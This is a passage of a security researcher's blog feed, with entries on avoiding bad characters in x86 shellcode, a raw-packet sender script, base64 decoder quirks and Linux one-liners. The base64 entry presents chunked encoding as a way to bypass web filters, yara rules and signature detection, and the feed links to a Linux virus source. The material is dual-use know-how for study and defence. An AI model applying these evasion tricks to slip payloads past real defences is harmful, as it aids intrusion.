&lt;li>Shift Reference: &lt;a href="https://www.felixcloutier.com/x86/sal:sar:shl:shr">https://www.felixcloutier.com/x86/sal:sar:shl:shr&lt;/a>&lt;/li>
&lt;li>Similar effects can be done with multiplication instructions if needed&lt;/li>
&lt;/ul>
&lt;h3 id="chaining-shl">Chaining SHL&lt;/h3>
&lt;p>You can also chain shifts and increment operations together too, this can be used to build a complex values.&lt;/p>
&lt;p>Let&amp;rsquo;s say we want 0x0A0D in EAX, to use shifts, we need to look at these values in binary&lt;/p>
&lt;pre>&lt;code>0x0A 0x0D
00001010 00001101
&lt;/code>&lt;/pre>
&lt;p>We can then take the distance between the 1&amp;rsquo;s and calculate how many shifts we need to do&lt;/p>
&lt;pre>&lt;code> 0x0A────0x0D────
0000101000001101
2 ─────┴─┘ ││ │
6 ───────┴─────┘│ │
1 ─────────────┴┘ │
2 ──────────────┴─┘
&lt;/code>&lt;/pre>
&lt;p>Apply this by repeatedly incrementing and shifting left:&lt;/p>
&lt;pre>&lt;code>;-------------; OPCODE ; EAX Value --------------------------; Description ------
xor eax, eax ; 31c0 ; 00000000 00000000 00000000 00000000 ; Clear EAX
inc eax ; 40 ; 00000000 00000000 00000000 00000001 ; Increment
shl eax, 0x2 ; c1e002 ; 00000000 00000000 00000000 00000100 ; Shifting by 2 bits
inc eax ; 40 ; 00000000 00000000 00000000 00000101 ; Increment
shl eax, 0x6 ; c1e006 ; 00000000 00000000 00000001 01000000 ; Shifting by 6 bits
inc eax ; 40 ; 00000000 00000000 00000001 01000001 ; Increment
shl eax, 0x1 ; d1e0 ; 00000000 00000000 00000010 10000010 ; Shifting by 1 bit
inc eax ; 40 ; 00000000 00000000 00000010 10000011 ; Increment
shl eax, 0x2 ; c1e002 ; 00000000 00000000 00001010 00001100 ; Shifting by 2 bits
inc eax ; 40 ; 00000000 00000000 00001010 00001101 ; Increment
&lt;/code>&lt;/pre>
&lt;p>We can use the previous trick of adding 32 (0x20) to our shift value to avoid bad chars&lt;/p>
&lt;pre>&lt;code>;-------------; OPCODE ; EAX Value --------------------------; Description ------
xor eax, eax ; 31c0 ; 00000000 00000000 00000000 00000000 ; Clear EAX
inc eax ; 40 ; 00000000 00000000 00000000 00000001 ; Increment
shl eax, 0x42 ; c1e042 ; 00000000 00000000 00000000 00000100 ; Shifting by 2 bits
inc eax ; 40 ; 00000000 00000000 00000000 00000101 ; Increment
shl eax, 0x26 ; c1e026 ; 00000000 00000000 00000001 01000000 ; Shifting by 6 bits
inc eax ; 40 ; 00000000 00000000 00000001 01000001 ; Increment
shl eax, 0x41 ; c1e041 ; 00000000 00000000 00000010 10000010 ; Shifting by 1 bit
inc eax ; 40 ; 00000000 00000000 00000010 10000011 ; Increment
shl eax, 0x62 ; c1e062 ; 00000000 00000000 00001010 00001100 ; Shifting by 2 bits
inc eax ; 40 ; 00000000 00000000 00001010 00001101 ; Increment
&lt;/code>&lt;/pre>
&lt;h3 id="add-and-sub">Add and Sub&lt;/h3>
&lt;p>Let&amp;rsquo;s say you want 0x0A0D in EAX, but these are both bad chars, use the constant 0x1111 to armor it, then subtract the same value to restore.&lt;/p>
&lt;pre>&lt;code>mov ax, 0x1B1E
sub ax, 0x1111
&lt;/code>&lt;/pre>
&lt;h3 id="logical-operations">Logical Operations&lt;/h3>
&lt;p>You can avoid bad chars by using bitmasks and logical instructions too&lt;/p>
&lt;p>In all of the examples, we want to put 0x0A0D in EAX&lt;/p>
&lt;p>XOR (A good online XOR calculator &lt;a href="http://xor.pw/">http://xor.pw/&lt;/a>)&lt;/p>
&lt;pre>&lt;code>mov ax, 0x3037
xor ax, 0x3a3a
&lt;/code>&lt;/pre>
&lt;p>NOT&lt;/p>
&lt;pre>&lt;code>mov ax, 0xf5f2
not ax
&lt;/code>&lt;/pre>
&lt;p>OR&lt;/p>
&lt;pre>&lt;code>00001000 00001000 [0x0808]
00000010 00000101 [0x0205]
-------------------------- ORing keeps 1 if either or both bits is set to 1
00001010 00001101 [0x0A0D]
mov ax, 0x0808
or ax, 0x0205
&lt;/code>&lt;/pre>
&lt;p>AND&lt;/p>
&lt;pre>&lt;code>01011010 01001111 [0x5A4F]
00101011 00111101 [0x2B3D]
-------------------------- ANDing only keeps 1 if both bits are set to 1
00001010 00001101 [0x0A0D]
mov ax, 0x5A4F
and ax, 0x2B3D
&lt;/code>&lt;/pre>
&lt;h2 id="optimizing-for-size">Optimizing for Size&lt;/h2>
&lt;h3 id="clearing-registers">Clearing Registers&lt;/h3>
&lt;p>&lt;a href="https://www.felixcloutier.com/x86/cwd:cdq:cqo">cdq&lt;/a> - Sign extends EAX to EDX:EAX, so &lt;code>xor eax, eax&lt;/code> and then &lt;code>cdq&lt;/code> will make EDX and EAX both 0 in only 3 bytes.&lt;/p>
&lt;p>&lt;a href="https://www.felixcloutier.com/x86/mul">mul&lt;/a> - With only one operand specified, mul assumes that the destination is EAX, so it stores the result in EDX:EAX.&lt;/p>
&lt;pre>&lt;code>xor ecx, ecx ; 0
mul ecx ; Effectively edx_eax = ecx * eax, now all equal 0
&lt;/code>&lt;/pre>
&lt;h3 id="filling-multiple-registers">Filling Multiple registers&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://www.felixcloutier.com/x86/pusha:pushad">pusha&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.felixcloutier.com/x86/popa:popad">popa&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>netspooky/kimagure</title><link>https://n0.lol/kimagure/</link><pubDate>Tue, 22 Jun 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/kimagure/</guid><description>&lt;p>&lt;img src="https://n0.lol/kimagure-demo.png" alt="">&lt;/p>
&lt;p>&lt;a href="https://github.com/netspooky/kimagure">https://github.com/netspooky/kimagure&lt;/a>&lt;/p></description></item><item><title>BGGP2 Announcement</title><link>https://n0.lol/bggp2-announcement/</link><pubDate>Fri, 18 Jun 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/bggp2-announcement/</guid><description>&lt;p>&lt;a href="https://n0.lol/bggp/2021/">https://n0.lol/bggp/2021/&lt;/a>&lt;/p>
&lt;p>TODO: Link to binary.golf site with the proper pages.&lt;/p></description></item><item><title>sendframe.py</title><link>https://n0.lol/notes/sendframe/</link><pubDate>Wed, 09 Jun 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/sendframe/</guid><description>&lt;p>&lt;img src="https://n0.lol/sendframe.demo.jpeg" alt="Demo of the script being used">&lt;/p>
&lt;p>Code:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 2021-06-09&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Use this to send raw packets with python&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># $ printf &amp;#34;somebytes&amp;#34; | sudo python3 sendframe.py&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># https://twitter.com/netspooky/status/1402647501090459653&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">socket&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">sys&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">interface&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;ens33&amp;#34;&lt;/span> &lt;span class="c1"># Change&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sys&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">stdin&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">buffer&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">socket&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">AF_PACKET&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">SOCK_RAW&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">bind&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">interface&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">s&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Original: &lt;a href="https://twitter.com/netspooky/status/1402647501090459653">https://twitter.com/netspooky/status/1402647501090459653&lt;/a>&lt;/p></description></item><item><title>In-Memory Kernel Module Loading</title><link>https://n0.lol/in-memory-lkm-loading/</link><pubDate>Tue, 20 Apr 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/in-memory-lkm-loading/</guid><description>&lt;p>tmp.0ut Article: &lt;a href="https://tmpout.sh/1/9.html">https://tmpout.sh/1/9.html&lt;/a>&lt;/p></description></item><item><title>Encoding Mutations: A Base64 Case Study</title><link>https://n0.lol/encmute/</link><pubDate>Fri, 12 Feb 2021 12:00:00 -0400</pubDate><guid>https://n0.lol/encmute/</guid><description>&lt;p>This writeup will be a quick rundown of how Base64 works, and how ambiguity in
the decoding process can be used to an attacker or defender&amp;rsquo;s advantage.&lt;/p>
&lt;p>This writeup can apply to most of the popular encoding schemes (base32, ASCII85
and others), but the focus is on base64.&lt;/p>
&lt;h2 id="base64-overview">Base64 Overview&lt;/h2>
&lt;p>Here is a base64 chart based on the most popular spec.&lt;/p>
&lt;pre tabindex="0">&lt;code>┌────┬────────┬───┐ ┌────┬────────┬───┐ ┌────┬────────┬───┐ ┌────┬────────┬───┐
│ ## │ Binary │Chr│ │ ## │ Binary │Chr│ │ ## │ Binary │Chr│ │ ## │ Binary │Chr│
├────┼────────┼───┤ ├────┼────────┼───┤ ├────┼────────┼───┤ ├────┼────────┼───┤
│ 00 │ 000000 │ A │ │ 16 │ 010000 │ Q │ │ 32 │ 100000 │ g │ │ 48 │ 110000 │ w │
│ 01 │ 000001 │ B │ │ 17 │ 010001 │ R │ │ 33 │ 100001 │ h │ │ 49 │ 110001 │ x │
│ 02 │ 000010 │ C │ │ 18 │ 010010 │ S │ │ 34 │ 100010 │ i │ │ 50 │ 110010 │ y │
│ 03 │ 000011 │ D │ │ 19 │ 010011 │ T │ │ 35 │ 100011 │ j │ │ 51 │ 110011 │ z │
│ 04 │ 000100 │ E │ │ 20 │ 010100 │ U │ │ 36 │ 100100 │ k │ │ 52 │ 110100 │ 0 │
│ 05 │ 000101 │ F │ │ 21 │ 010101 │ V │ │ 37 │ 100101 │ l │ │ 53 │ 110101 │ 1 │
│ 06 │ 000110 │ G │ │ 22 │ 010110 │ W │ │ 38 │ 100110 │ m │ │ 54 │ 110110 │ 2 │
│ 07 │ 000111 │ H │ │ 23 │ 010111 │ X │ │ 39 │ 100111 │ n │ │ 55 │ 110111 │ 3 │
│ 08 │ 001000 │ I │ │ 24 │ 011000 │ Y │ │ 40 │ 101000 │ o │ │ 56 │ 111000 │ 4 │
│ 09 │ 001001 │ J │ │ 25 │ 011001 │ Z │ │ 41 │ 101001 │ p │ │ 57 │ 111001 │ 5 │
│ 10 │ 001010 │ K │ │ 26 │ 011010 │ a │ │ 42 │ 101010 │ q │ │ 58 │ 111010 │ 6 │
│ 11 │ 001011 │ L │ │ 27 │ 011011 │ b │ │ 43 │ 101011 │ r │ │ 59 │ 111011 │ 7 │
│ 12 │ 001100 │ M │ │ 28 │ 011100 │ c │ │ 44 │ 101100 │ s │ │ 60 │ 111100 │ 8 │
│ 13 │ 001101 │ N │ │ 29 │ 011101 │ d │ │ 45 │ 101101 │ t │ │ 61 │ 111101 │ 9 │
│ 14 │ 001110 │ O │ │ 30 │ 011110 │ e │ │ 46 │ 101110 │ u │ │ 62 │ 111110 │ + │
│ 15 │ 001111 │ P │ │ 31 │ 011111 │ f │ │ 47 │ 101111 │ v │ │ 63 │ 111111 │ / │
└────┴────────┴───┘ └────┴────────┴───┘ └────┴────────┴───┘ └────┴────────┴───┘
&lt;/code>&lt;/pre>&lt;p>There are only a few rules you need to know to understand base64:&lt;/p>
&lt;ol>
&lt;li>When data is encoded, it is split up into 6 bit chunks.&lt;/li>
&lt;li>Each chunk is mapped to one of 64 ASCII characters (Chr), shown above.&lt;/li>
&lt;li>Four 6 bit chunks make up a block, representing 3 bytes of data (24 bits).&lt;/li>
&lt;li>If there aren&amp;rsquo;t enough bits in the data being encoded to fit into a 6 bit
chunk, the remaining bits are set to 0.&lt;/li>
&lt;li>If there aren&amp;rsquo;t enough 6 bit chunks to make up a 24 bit block, a special
padding character is used as a placeholder for remaining chunks.&lt;/li>
&lt;/ol>
&lt;p>The padding character is &amp;lsquo;=&amp;rsquo;. You will often see this at the end of a base64
encoded string, signifying that the data isn&amp;rsquo;t aligned to (AKA a multiple of)
24 bits. Padding characters have no value, and can be thought of like a NULL.&lt;/p>
&lt;p>To illustrate the encoding process, let&amp;rsquo;s look at how the string &amp;rsquo;netspooky&amp;rsquo;
would be encoded. We can use the Linux base64 program to generate our encoded
string. Note that the -n flag is used to prevent echo from printing a newline,
which would add a byte to the end of the string!&lt;/p>
&lt;pre tabindex="0">&lt;code>$ echo -n &amp;#34;netspooky&amp;#34; │ base64
bmV0c3Bvb2t5
&lt;/code>&lt;/pre>&lt;p>The base64 program followed the above rules to generate this string. We can
understand how these rules were followed if we consider this from a binary
perspective.&lt;/p>
&lt;p>First, let&amp;rsquo;s divide the string into 3 chunks. It&amp;rsquo;s divisible by 3 and therefore
needs no padding.&lt;/p>
&lt;pre tabindex="0">&lt;code>net spo oky
bmV0 c3Bv b2t5
&lt;/code>&lt;/pre>&lt;p>Here is the first chunk &amp;rsquo;net&amp;rsquo;, encoded as &amp;lsquo;bmV0&amp;rsquo;&lt;/p>
&lt;pre tabindex="0">&lt;code> ┌─────────┬─────────┬─────────┐
data: │n │e │t │
binary: │011011│10│0110│0101│01│110100│
base64: │b │m │V │0 │
└──────┴───────┴───────┴──────┘
&lt;/code>&lt;/pre>&lt;p>The second chunk &amp;lsquo;spo&amp;rsquo;, encoded as &amp;lsquo;c3Bv&amp;rsquo;&lt;/p>
&lt;pre tabindex="0">&lt;code> ┌─────────┬─────────┬─────────┐
data: │s │p │o │
binary: │011100│11│0111│0000│01│101111│
base64: │c │3 │B │v │
└──────┴───────┴───────┴──────┘
&lt;/code>&lt;/pre>&lt;p>The third chunk &amp;lsquo;oky&amp;rsquo;, encoded as &amp;lsquo;b2t5&amp;rsquo;&lt;/p>
&lt;pre tabindex="0">&lt;code> ┌─────────┬─────────┬─────────┐
data: │o │k │y │
binary: │011011│11│0110│1011│01│111001│
base64: │b │2 │t │5 │
└──────┴───────┴───────┴──────┘
&lt;/code>&lt;/pre>&lt;p>Since our string was divisible by 3, it fit perfectly, and requires no padding.&lt;/p>
&lt;p>Now, what if we were encoding the word &amp;rsquo;nets&amp;rsquo;?&lt;/p>
&lt;pre tabindex="0">&lt;code>$ echo -n &amp;#34;nets&amp;#34; │ base64
bmV0cw==
&lt;/code>&lt;/pre>&lt;p>We already know how &amp;rsquo;net&amp;rsquo; is encoded (&amp;lsquo;bmV0&amp;rsquo;), but what happens when our string
isn&amp;rsquo;t divisible by 3? We use the same process, except now we add padding.&lt;/p>
&lt;p>The first char representing the first 6 bit chunk is &amp;lsquo;c&amp;rsquo;, the same as in the
encoding of &amp;lsquo;spo&amp;rsquo;. This makes sense because the first byte &amp;rsquo;s&amp;rsquo; hasn&amp;rsquo;t changed.&lt;/p>
&lt;p>Now we have these two extra bits. If we remember rule 4 from above, base64 will
take any bits not defined within a 6 bit chunk, and turn them into 0s. If they
are all undefined, then the null value padding character = is used to represent
that they aren&amp;rsquo;t needed.&lt;/p>
&lt;p>Example:&lt;/p>
&lt;pre tabindex="0">&lt;code> ┌─────────┬──────────────────┐
data: │s │ │
binary: │011100│11│----│------│------│
base64: │c │w │= │= │
└──────┴───────┴──────┴──────┘
\
w maps to 110000, so the 4 undefined bits convert to 0&amp;#39;s
&lt;/code>&lt;/pre>&lt;h2 id="implementation-differences">Implementation Differences&lt;/h2>
&lt;p>Nearly every base64 implementation will produce the same encoded string output.
Not every implementation will decode the same way, which is where things get
interesting. Some less strict implementations of base64 will decode base64
strings with incomplete padding just fine. For example, Javascript:&lt;/p>
&lt;pre tabindex="0">&lt;code>console.log(atob(&amp;#34;bmV0&amp;#34;));
net
console.log(atob(&amp;#34;cw&amp;#34;));
s
&lt;/code>&lt;/pre>&lt;p>If we use python in the same way:&lt;/p>
&lt;pre tabindex="0">&lt;code>$ python3 -c &amp;#34;import base64;print(base64.b64decode(&amp;#39;bmV0&amp;#39;.encode(&amp;#39;ascii&amp;#39;)))&amp;#34;
b&amp;#39;net&amp;#39;
$ python3 -c &amp;#34;import base64;print(base64.b64decode(&amp;#39;cw&amp;#39;.encode(&amp;#39;ascii&amp;#39;)))&amp;#34;
binascii.Error: Incorrect padding
&lt;/code>&lt;/pre>&lt;p>Trying to decode &amp;lsquo;cw&amp;rsquo;, you get an &amp;ldquo;Incorrect padding&amp;rdquo; error.&lt;/p>
&lt;p>The Linux base64 binary gets through the decoding of the &amp;rsquo;s&amp;rsquo; string, but it
reports &amp;ldquo;invalid input&amp;rdquo; immediately after:&lt;/p>
&lt;pre tabindex="0">&lt;code>$ base64 -d &amp;lt;&amp;lt;&amp;lt; &amp;#34;cw&amp;#34;
sbase64: invalid input
&lt;/code>&lt;/pre>&lt;p>There are far too many base64 implementations to discuss here, including some
bespoke instances within very important systems.&lt;/p>
&lt;h2 id="obfuscation">Obfuscation&lt;/h2>
&lt;p>Now we know that there are differences in how base64 data is interpreted by
different tools and libraries, we can explore some ways to use this to our
advantage.&lt;/p>
&lt;p>Some implementations use =&amp;rsquo;s effectively as a delimiter of base64 data. In
these cases, two chunks of base64 encoded data, one after another, may or may
not be written to a single buffer for processing. This means that splitting on
arbitrary chunks of data may possibly be used to generate valid base64.&lt;/p>
&lt;p>Examples&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39;netspooky&amp;#39; │ bmV0c3Bvb2t5
&amp;#39;nets&amp;#39;,&amp;#39;poo&amp;#39;,&amp;#39;ky&amp;#39; │ bmV0cw==cG9va3k=
&amp;#39;ne&amp;#39;,&amp;#39;ts&amp;#39;,&amp;#39;po&amp;#39;,&amp;#39;ok&amp;#39;,&amp;#39;y&amp;#39; │ bmU=dHM=cG8=b2s=eQ==
&amp;#39;n&amp;#39;,&amp;#39;e&amp;#39;,&amp;#39;t&amp;#39;,&amp;#39;s&amp;#39;,&amp;#39;p&amp;#39;,&amp;#39;o&amp;#39;,&amp;#39;o&amp;#39;,&amp;#39;k&amp;#39;,&amp;#39;y&amp;#39; │ bg==ZQ==dA==cw==cA==bw==bw==aw==eQ==
&lt;/code>&lt;/pre>&lt;p>Try it out!&lt;/p>
&lt;pre tabindex="0">&lt;code>base64 -d &amp;lt;&amp;lt;&amp;lt; &amp;#34;bmV0c3Bvb2t5&amp;#34;
base64 -d &amp;lt;&amp;lt;&amp;lt; &amp;#34;bmV0cw==cG9va3k=&amp;#34;
base64 -d &amp;lt;&amp;lt;&amp;lt; &amp;#34;bmU=dHM=cG8=b2s=eQ==&amp;#34;
base64 -d &amp;lt;&amp;lt;&amp;lt; &amp;#34;bg==ZQ==dA==cw==cA==bw==bw==aw==eQ==&amp;#34;
&lt;/code>&lt;/pre>&lt;p>Another neat trick that can throw off certain tools is using whitespace within
base64 text. Check out this &lt;a href="https://twitter.com/thugcrowd/status/1354449957294583811">pyramid of base64 data&lt;/a> and what it decodes to. Some
tools and libraries will decode it just fine, but others (such as Linux base64),
will consider it invalid input. Software that can decode this may be using a
regex used to filter out whitespace, or isolate valid base64 characters only.&lt;/p>
&lt;p>Keep in mind that these simple techniques can also be used to ensure that your
encoded data &lt;strong>isn&amp;rsquo;t&lt;/strong> processed, or readable only by your tools.&lt;/p>
&lt;blockquote>
&lt;p>PROTIP: Combine this with a custom base64 charset to frustrate most analysts.&lt;/p>
&lt;/blockquote>
&lt;p>When approaching a web application that may accept Base64 encoded data, you may
run into filters that look for certain Base64 patterns without actually decoding
the data itself. Using obfuscation, you may be able to sneak some data past
these pesky filters and decode at the heart of the app. The same can be said for
yara rules or other detection software. Decoding can be more expensive than just
applying a simple regex ;}&lt;/p>
&lt;p>See how your favorite base64 implementation handles encoded data like this!
Try to not put padding at the end, decode at arbitrary chunk points, include
whitespace and symbols with mixed encoding, etc.&lt;/p>
&lt;p>I wrote a &lt;a href="https://github.com/netspooky/b64mute">quick and dirty script&lt;/a> to generate some mutations based on the uneven
chunk obfuscation technique outlined above. Feel free to use it for both attack
and defense!&lt;/p>
&lt;p>Use Cases:&lt;/p>
&lt;ul>
&lt;li>Filter Bypass&lt;/li>
&lt;li>Signature Evasion&lt;/li>
&lt;li>Make encoded weak credentials less easy to find
&lt;ul>
&lt;li>admin -&amp;gt; YWRtaW4=&lt;/li>
&lt;li>admin -&amp;gt; YQ==ZG1pbg==&lt;/li>
&lt;li>admin -&amp;gt; YWQ=bWlu&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Base64 decoder fuzzing&lt;/li>
&lt;/ul>
&lt;p>Thanks to dnz for telling me to actually write this stuff down and turn it into
a proper tool. Thanks to remy and gren for feedback. Shoutout tchq, vxug, tcpd.&lt;/p></description></item><item><title>Python 3.7+ .pyc file format</title><link>https://n0.lol/notes/python-3.7-pyc-format/</link><pubDate>Tue, 15 Dec 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/python-3.7-pyc-format/</guid><description>&lt;p>&lt;img src="https://n0.lol/python3.7.pyc-diagram.png" alt="diagram of the pyc file format">&lt;/p>
&lt;p>Fun Fact: A Py3.7+ .pyc code object contains a header for various things like the number of local variables, stack size, flags etc, as well as the bytecode for the code block. All header values are big endian, except for the size of the bytecode, which is a 4 byte little endian field (at 0x64).&lt;/p>
&lt;p>Original: &lt;a href="https://twitter.com/netspooky/status/1338997963910225922">https://twitter.com/netspooky/status/1338997963910225922&lt;/a>&lt;/p>
&lt;p>TODO: Get original ansi&lt;/p></description></item><item><title>Linux.Precinct3.asm</title><link>https://n0.lol/precinct3/</link><pubDate>Tue, 24 Nov 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/precinct3/</guid><description>&lt;p>&lt;a href="https://tmpout.sh/1/Linux.Precinct3.asm">https://tmpout.sh/1/Linux.Precinct3.asm&lt;/a>&lt;/p></description></item><item><title>Linux Oneliners</title><link>https://n0.lol/notes/linux-oneliners/</link><pubDate>Sun, 01 Nov 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/linux-oneliners/</guid><description>&lt;h3 id="misc-useful">Misc Useful&lt;/h3>
&lt;p>Find duplicate files&lt;/p>
&lt;pre tabindex="0">&lt;code>find . ! -empty -type f -exec md5sum {} + | sort | uniq -w32 -dD
&lt;/code>&lt;/pre>&lt;p>Extract all zip files in current directory&lt;/p>
&lt;pre tabindex="0">&lt;code>find . -name &amp;#34;*.zip&amp;#34; -exec mkdir {}_ \; -exec mv {} {}_/ \; -exec 7z x {}_/{} -o{}_/ \;
&lt;/code>&lt;/pre>&lt;p>generate uuid&lt;/p>
&lt;pre tabindex="0">&lt;code>cat /proc/sys/kernel/random/uuid
&lt;/code>&lt;/pre>&lt;p>How to use USBPCAP on Ubuntu&lt;/p>
&lt;pre tabindex="0">&lt;code>sudo modprobe usbmon
sudo setfacl -m u:$USER:r /dev/usbmon*
&lt;/code>&lt;/pre>&lt;p>Disable system beep&lt;/p>
&lt;pre tabindex="0">&lt;code>rmmod pcspkr ; echo &amp;#34;blacklist pcspkr&amp;#34; &amp;gt;&amp;gt;/etc/modprobe.d/blacklist.conf
&lt;/code>&lt;/pre>&lt;h3 id="vim-regex-grep">Vim, Regex, Grep&lt;/h3>
&lt;p>remove trailing whitespace regex&lt;/p>
&lt;pre tabindex="0">&lt;code>[^\S\r\n]+$
&lt;/code>&lt;/pre>&lt;p>How to remove all lines containing value REMOVEME&lt;/p>
&lt;pre tabindex="0">&lt;code>^.*REMOVEME.*\n
&lt;/code>&lt;/pre>&lt;p>Vim: Remove all blank lines in a file&lt;/p>
&lt;pre tabindex="0">&lt;code>:g/^$/d
&lt;/code>&lt;/pre>&lt;p>Find all memcpy instances in a dir (with line numbers)&lt;/p>
&lt;pre tabindex="0">&lt;code>grep --color -rin memcpy .
&lt;/code>&lt;/pre>&lt;h3 id="hex-stuff">Hex Stuff&lt;/h3>
&lt;p>Here&amp;rsquo;s a tutorial I made about using Vim as a hex editor: &lt;a href="https://twitter.com/netspooky/status/1553047692678414337">https://twitter.com/netspooky/status/1553047692678414337&lt;/a>&lt;/p>
&lt;p>copy intel hex format to bin&lt;/p>
&lt;pre tabindex="0">&lt;code>objcopy -I ihex file.hex -O binary file.bin
&lt;/code>&lt;/pre>&lt;p>reverse hex dump&lt;/p>
&lt;pre tabindex="0">&lt;code>cat asciihex.txt | xxd -r -p &amp;gt; file.bin
&lt;/code>&lt;/pre>&lt;p>base64 to bin&lt;/p>
&lt;pre tabindex="0">&lt;code>base64 -d &amp;lt;&amp;lt;&amp;lt; someb64here &amp;gt; file.bin
&lt;/code>&lt;/pre>&lt;p>perl hexdump&lt;/p>
&lt;pre tabindex="0">&lt;code>perl -e &amp;#39;local $/; print unpack &amp;#34;H*&amp;#34;, &amp;lt;&amp;gt;&amp;#39; file.bin
&lt;/code>&lt;/pre>&lt;p>convert hex value to decimal&lt;/p>
&lt;pre tabindex="0">&lt;code>printf &amp;#34;%d\n&amp;#34; $((16#6132387a))
&lt;/code>&lt;/pre></description></item><item><title>Python Hello World</title><link>https://n0.lol/notes/python-hello-world/</link><pubDate>Thu, 24 Sep 2020 12:00:00 -0400</pubDate><guid>https://n0.lol/notes/python-hello-world/</guid><description>&lt;p>Original post: &lt;a href="https://twitter.com/netspooky/status/1309158304426479616">https://twitter.com/netspooky/status/1309158304426479616&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">base64&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x2b\x0d\x06\x3c\x2d\x39\x1e\x3d&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x2f\x77\x1a\x3c\x07\x0f\x05\x38&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x15\x05\x34\x37\x17\x31\x0c\x39&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">x&lt;/span>&lt;span class="o">+=&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x28&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x17\x15\x38\x08&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span> &lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="se">\x14&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>
